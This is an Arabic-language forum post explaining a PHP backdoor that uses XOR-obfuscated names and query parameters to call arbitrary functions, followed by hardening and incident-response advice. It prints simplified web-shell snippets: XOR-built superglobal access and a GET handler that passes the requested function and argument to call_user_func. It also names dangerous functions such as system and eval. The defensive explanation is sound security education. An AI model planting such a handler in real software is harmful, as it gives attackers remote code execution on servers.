
- بواسطة x32x01 ||
فيه واحد فعلًا أستاذ بمعنى الكلمة كتب ملف PHP شاطر قوي - الفكرة بتاعته إنها تسمح بتنفيذ أي دالة موجودة في الـ PHP عن طريق query parameters بطريقة متخفية ومشفرة بـ XOR. النوع ده من الهجوم شبه شامل الـ RCE (Remote Code Execution) لو اتركت حاجات في السيرفر من غير حماية. 
إيه هو PHP Malware وXOR Encrypted Requests؟
في 2017، فريق في GoDaddy لقوا حاجة زي دي - ملف بيظهر فجأة وبينشر نفسه على سيرفرات كتير، وكل شوية Requests جاية من IP خارجي بتطلب ملف معين وتبعت معاه باراميتر مشفر. لما حققوا، اكتشفوا إن الطلبات دي بتحوي أوامر بتنفذ دوال PHP على السيرفر.
الأسلوب الأساسي: تشفير نص (plaintext) بواسطة مفتاح (key) عن طريق XOR bitwise، وبعدين تنفيذ المحتوى بعد ما يتحلل داخل سكربت الـ PHP.
الفكرة التقنية ببساطة (خطوة خطوة)
لو عملت نفس العملية تاني على الـ cipher بنفس الـ key هترجع الـ plaintext تاني.
وبيشتغل مع مناداة من الـ GET زي:
ده معناه إن أي حد يبعث
ليه الأسلوب ده خطير جدًا؟
إزاي الملف ده وصل للسيرفر؟ (احتمالات)
إزاي تحمي نفسك وموقعك؟ - خطوات عملية
نصيحة للمطورين: لا تثق بأي input أبداً
أبسط قاعدة: لو اليوزر يقدر يبعت بيانات، اعتبرها عدوانية. دايمًا اعمل:
الـ PHP Malware اللي بيعتمد على XOR Requests ذكي جدًا ومخادع، لكن مش مستحيل يتوقف. الوقاية والـ monitoring هما سلاحك الأساسي. لو انت مطور أو مدير سيرفر، ابدأ فورًا بتشديد سياسات رفع الملفات، تعطيل الدوال الخطرة، ومراقبة اللوجز بتركيز - وحتنام أحسن! 

إيه هو PHP Malware وXOR Encrypted Requests؟
في 2017، فريق في GoDaddy لقوا حاجة زي دي - ملف بيظهر فجأة وبينشر نفسه على سيرفرات كتير، وكل شوية Requests جاية من IP خارجي بتطلب ملف معين وتبعت معاه باراميتر مشفر. لما حققوا، اكتشفوا إن الطلبات دي بتحوي أوامر بتنفذ دوال PHP على السيرفر.الأسلوب الأساسي: تشفير نص (plaintext) بواسطة مفتاح (key) عن طريق XOR bitwise، وبعدين تنفيذ المحتوى بعد ما يتحلل داخل سكربت الـ PHP.
الفكرة التقنية ببساطة (خطوة خطوة)
1. التشفير بالـ XOR
الـ XOR هنا بتتعمل بين نص عادي (مثل سلسلة من الحروف) ومفتاح ثابت، والناتج هو الـ ciphertext اللي بيتنقل كـ query param. المعادلة البسيطة: PHP:
$cipher = $plaintext ^ $key;
2. فك التشفير داخل PHP
الهاكر بيبعت Request زي:?f=phpinfo&p=...
لكن القيمة بتبقى مشفرة. الـ PHP على السيرفر بيحلل الباراميتر ويطبّق فك XOR علشان يرجع الاسم أو الكود، وبعدين بينفّذ الوظيفة.3. أمثلة من الكود (مبسطة للتوضيح)
الكود اللي شوهد بيستخدم حاجات زي: PHP:
$_ = "]" ^ ";";
$__ = "." ^ "^";
$___ = ("|" ^ "#") . (":" ^ "}") . ("~" ^ ";") . ("{" ^ "/");
// الجزء الخطر: استدعاء دالة من مصفوفة بشكل ديناميكي
${$___}[$_](${$___}[$__]);
وبيشتغل مع مناداة من الـ GET زي:
PHP:
if (isset($_GET['p']) && isset($_GET['f'])) {
$function = $_GET['f'];
$parameter = $_GET['p'];
call_user_func($function, $parameter);
die;
}
?f=someFunction&p=someArg
ممكن يخلّي السيرفر ينفذ someFunction('someArg')
- لو مش محمي، يبقى خطر جدًا.ليه الأسلوب ده خطير جدًا؟
- التنفيذ الديناميكي (dynamic call) بيخلي الهاكر يقدر يستدعي دوال خطيرة زي
system
,eval
,file_put_contents
، إلخ. - التشفير بـ XOR يخفي الـ payload عن فحص بسيط لللوجز أو قواعد الـ IDS.
- لو الملف ده اترفَع بالسيرفر (مثلاً عن طريق upload غير محمي)، يبقى دخول كامل على النظام ممكن يحصل بسهولة.
إزاي الملف ده وصل للسيرفر؟ (احتمالات)
- ملف رُفع بسبب ضعف التحقق في نقاط رفع الملفات (no validation على MIME/extension أو عدم فحص الـ content).
- استغلال ثغرة في تطبيق ويب قامت بسماح لـ attacker برفع ملف.
- جهة داخلية (user) كانت مُخترَقَة أو عندها صلاحيات رفع ونشرت الملف.
تحقيق الـ Incident Response هو اللي يجاوب على السؤال ده.
إزاي تحمي نفسك وموقعك؟ - خطوات عملية
تدابير فورية
- منع تنفيذ الدوال الخطرة: ببساطة عطل
exec, system, passthru, shell_exec, eval
فيphp.ini
إذا مش محتاجها. - فعل
disable_functions
وقلّل الصلاحيات على الـ PHP process user.
عند رفع الملفات
- تحقق من MIME type وامتداد الملف، ومقارنة المحتوى الفعلي (magic bytes).
- امنع رفع ملفات قابلة للتنفيذ (.php) لمجلدات يمكن الوصول لها عبر الويب. استخدم مخازن خارجية أو مجلدات خارجة عن جذر الـ webroot.
مراقبة وكشف
- راقب الـ logs على مستوى الويب والسيرفر: أي requests بتبعت باراميتر طويل أو مش مفهوم (base64/XOR) يبقى مشبوه.
- استعمل IDS/IPS وادخل قواعد تكشف محاولات RCE أو استدعاءات ديناميكية لـ
call_user_func
. - راقب حسابات الـ cron والـ permissions على الملفات (تغيرات واجبة الانتباه).
نسخ احتياطية واستجابة للحوادث
- نسخ احتياطية منفصلة وغير متصلة (offline backups).
- خطة IR جاهزة: عزّل السيرفر المصاب، خُد دَمب للـ memory وـ disk، وابدأ تحقيق رقمي (forensics).
نصيحة للمطورين: لا تثق بأي input أبداً
أبسط قاعدة: لو اليوزر يقدر يبعت بيانات، اعتبرها عدوانية. دايمًا اعمل:- فلترة (sanitize) للمدخلات.
- التحقق من أنواع الملفات.
- حدّ من الصلاحيات (least privilege).


التعديل الأخير:
